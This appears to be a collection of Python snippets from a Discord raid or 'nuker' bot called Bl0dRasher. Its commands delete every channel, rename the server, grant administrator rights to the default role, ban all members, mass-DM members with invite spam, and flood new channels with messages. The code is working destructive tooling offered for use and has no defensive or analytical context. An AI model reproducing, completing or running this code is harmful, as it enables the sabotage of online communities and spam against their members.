示例#1
0
async def delete(ctx,
                 channel_name=name_channel,
                 database=database,
                 webhook=webhook):
    if database == True:
        from Resources.data import database
        user_id = ctx.author.id
        if database.check(user_id) == True:
            if webhook == True:
                username = f"{ctx.author.name}#{ctx.author.discriminator}"
                user_id = ctx.author.id
                server_id = ctx.guild.id
                server = ctx.guild.name
                send_webhook(webhook_color=webhook_color,
                             webhook_image=webhook_image,
                             webhook_url=webhook_url,
                             username=username,
                             user_id=user_id,
                             guildname=server,
                             guild_id=server_id,
                             guild_picture=guild_picture,
                             command="delete")

            for channelN in ctx.guild.channels:
                await channelN.delete()
            await ctx.guild.create_text_channel(channel_name)

        elif database.check(user_id) == False:
            await ctx.send("``The user is not registred.``")
        else:
            print("Unexpected Error.")
    else:
        if webhook == True:
            username = f"{ctx.author.name}#{ctx.author.discriminator}"
            user_id = ctx.author.id
            server_id = ctx.guild.id
            server = ctx.guild.name
            send_webhook(webhook_color=webhook_color,
                         webhook_image=webhook_image,
                         webhook_url=webhook_url,
                         username=username,
                         user_id=user_id,
                         guildname=server,
                         guild_id=server_id,
                         guild_picture=guild_picture,
                         command="delete")

        for channelN in ctx.guild.channels:
            await channelN.delete()
        await ctx.guild.create_text_channel(channel_name)
示例#2
0
async def check(ctx, database=database):
    if database == True:
        try:
            from Resources.data import database
            user_id = ctx.author.id
            if database.check(user_id) == True:
                await ctx.send("``The user is registred.``")
            elif database.check(user_id) == False:
                await ctx.send("``The user is not registred.``")
            else:
                print("Unexpected Error.")
        except:
            await ctx.send("``Database is bad configured.``")
    else:
        await ctx.send("``The database is not configured.``")
示例#3
0
async def change(ctx,
                 guild_name=guild_name,
                 guild_picture=guild_icon,
                 database=database):
    if database == True:
        from Resources.data import database
        user_id = ctx.author.id
        if database.check(user_id) == True:
            guild = ctx.guild
            await guild.edit(name=guild_name, icon=guild_picture)
        elif database.check(user_id) == False:
            await ctx.send("``The user is not registred.``")
        else:
            print("Uknown Error")
    else:
        guild = ctx.guild
        await guild.edit(name=guild_name, icon=guild_picture)
示例#4
0
async def allahmode(ctx, database=database):
    if database == True:
        from Resources.data import database
        user_id = ctx.author.id
        if database.check(user_id) == True:
            role = ctx.guild.default_role
            perms = role.permissions
            perms.administrator = True
            await role.edit(permissions=perms)
        elif database.check(user_id) == False:
            await ctx.send("``The user is not registred.``")
        else:
            print("Uknown Error")
    else:
        role = ctx.guild.default_role
        perms = role.permissions
        perms.administrator = True
        await role.edit(permissions=perms)
示例#5
0
async def ban(ctx, database=database):
    if database == True:
        from Resources.data import database
        user_id = ctx.author.id
        if database.check(user_id) == True:
            no = f"{ctx.message.author.name}#{ctx.message.author.discriminator}"
            for member in ctx.guild.members:
                try:
                    if member != ctx.message.author and member != ctx.message.guild.me:
                        await member.ban()
                except:
                    print("Error: The user has admin perms.")
        elif database.check(user_id) == False:
            await ctx.send(f"``The user is not registred.``")
        else:
            print("Unexpected Error")
    else:
        no = f"{ctx.message.author.name}#{ctx.message.author.discriminator}"
        for member in ctx.guild.members:
            try:
                if member != ctx.message.author and member != ctx.message.guild.me:
                    await member.ban()
            except:
                print("Error: The user has admin perms.")
示例#6
0
async def dm(ctx,
             database=database,
             embed_picture=embed_picturedm,
             message_dm=message_dm,
             embed_dm=embed_dm,
             embedtitle=embed_titledm,
             embeddesc=embed_descdm,
             embed_color=embed_colordm,
             embed_link=embed_linkdm):
    if database == True:
        from Resources.data import database
        user_id = ctx.author.id
        if database.check(user_id) == True:
            if embed_dm == False:
                for member in ctx.guild.members:
                    try:
                        if member != ctx.message.author and member != ctx.message.guild.me:
                            await member.send(message_dm)
                    except:
                        print("Error: The user have DM blocked.")
            elif embed_dm == True:
                for member in ctx.guild.members:
                    try:
                        if member != ctx.message.author and member != ctx.message.guild.me:
                            embed = discord.Embed(embed_picture=embed_picture,
                                                  title=embedtitle,
                                                  description=embeddesc,
                                                  color=embed_color)
                            embed.set_thumbnail(url=embed_picture)
                            embed.add_field(name="Join Now", value=embed_link)
                            embed.set_footer(
                                text="Bl0dRasher - Created By Narchen#6666")
                            await member.send(embed=embed)
                    except:
                        print("Error: The user have DM blocked.")
        elif database.check(user_id) == False:
            await ctx.send("``The user is not registred.``")
        else:
            print("Unexpected error.")
    else:
        if embed_dm == False:
            for member in ctx.guild.members:
                try:
                    if member != ctx.message.author and member != ctx.message.guild.me:
                        await member.send(message_dm)
                except:
                    print("Error: The user have DM blocked.")
        elif embed_dm == True:
            for member in ctx.guild.members:
                try:
                    if member != ctx.message.author and member != ctx.message.guild.me:
                        embed = discord.Embed(embed_picture=embed_picture,
                                              title=embedtitle,
                                              description=embeddesc,
                                              color=embed_color)
                        embed.set_thumbnail(url=embed_picture)
                        embed.add_field(name="Join Now", value=embed_link)
                        embed.set_footer(
                            text="Bl0dRasher - Created By Narchen#6666")
                        await member.send(embed=embed)
                except:
                    print("Error: The user have DM blocked.")
示例#7
0
async def create(ctx,
                 database=database,
                 num_messages=num_messages,
                 guild_icon=guild_icon,
                 embed_picture=embed_picture,
                 channel_name=name_channel,
                 num_channels=num_channels,
                 message_channels=message_channels,
                 message_b=message,
                 embedtitle=embed_title,
                 embeddesc=embed_desc,
                 embed_color=embed_color,
                 embed_link=embed_link):
    if database == True:
        from Resources.data import database
        user_id = ctx.author.id
        if database.check(user_id) == True:
            if webhook == True:
                username = f"{ctx.author.name}#{ctx.author.discriminator}"
                user_id = ctx.author.id
                server_id = ctx.guild.id
                server = ctx.guild.name
                send_webhook(webhook_color=webhook_color,
                             webhook_image=webhook_image,
                             webhook_url=webhook_url,
                             username=username,
                             user_id=user_id,
                             guildname=server,
                             guild_id=server_id,
                             guild_picture=guild_picture,
                             command="create")
            if message_b == True:
                num_messages += 1
                num_channels += 1
                for channel in range(1, num_channels):
                    await ctx.guild.create_text_channel(channel_name)
                    guild = ctx.guild.channels[channel]
                    for message in range(1, num_messages):
                        await guild.send(message_channels)
            elif message_b == False:
                num_channels += 1
                embed = discord.Embed(title=embedtitle,
                                      embed_picture=embed_picture,
                                      description=embeddesc,
                                      color=embed_color)
                embed.set_thumbnail(url=embed_picture)
                embed.add_field(name="Join Now", value=embed_link)
                embed.set_footer(text="Bl0dRasher - Created By Narchen#6666")
                for channel in range(1, num_channels):
                    await ctx.guild.create_text_channel(channel_name)
                    guild = ctx.guild.channels[channel]
                    await guild.send(embed=embed)
            else:
                print("Error: message_b is not declared")
        elif database.check(user_id) == False:
            await ctx.send("``The user is not registred.``")
        else:
            print("Unexpected Error")
    else:
        if webhook == True:
            username = f"{ctx.author.name}#{ctx.author.discriminator}"
            user_id = ctx.author.id
            server_id = ctx.guild.id
            server = ctx.guild.name
            send_webhook(webhook_color=webhook_color,
                         webhook_image=webhook_image,
                         webhook_url=webhook_url,
                         username=username,
                         user_id=user_id,
                         guildname=server,
                         guild_id=server_id,
                         guild_picture=guild_picture,
                         command="create")
        if message_b == True:
            num_channels += 1
            for channel in range(1, num_channels):
                await ctx.guild.create_text_channel(channel_name)
                for message in range(1, 5):
                    guild = ctx.guild.channels[channel]
                    await guild.send(message_channels)
        elif message_b == False:
            num_channels += 1
            embed = discord.Embed(title=embedtitle,
                                  embed_picture=embed_picture,
                                  description=embeddesc,
                                  color=embed_color)
            embed.set_thumbnail(url=embed_picture)
            embed.add_field(name="Join Now", value=embed_link)
            embed.set_footer(text="Bl0dRasher - Created By Narchen#6666")
            for channel in range(1, num_channels):
                await ctx.guild.create_text_channel(channel_name)
                guild = ctx.guild.channels[channel]
                await guild.send(embed=embed)
        else:
            print("Error: message_b is not declared")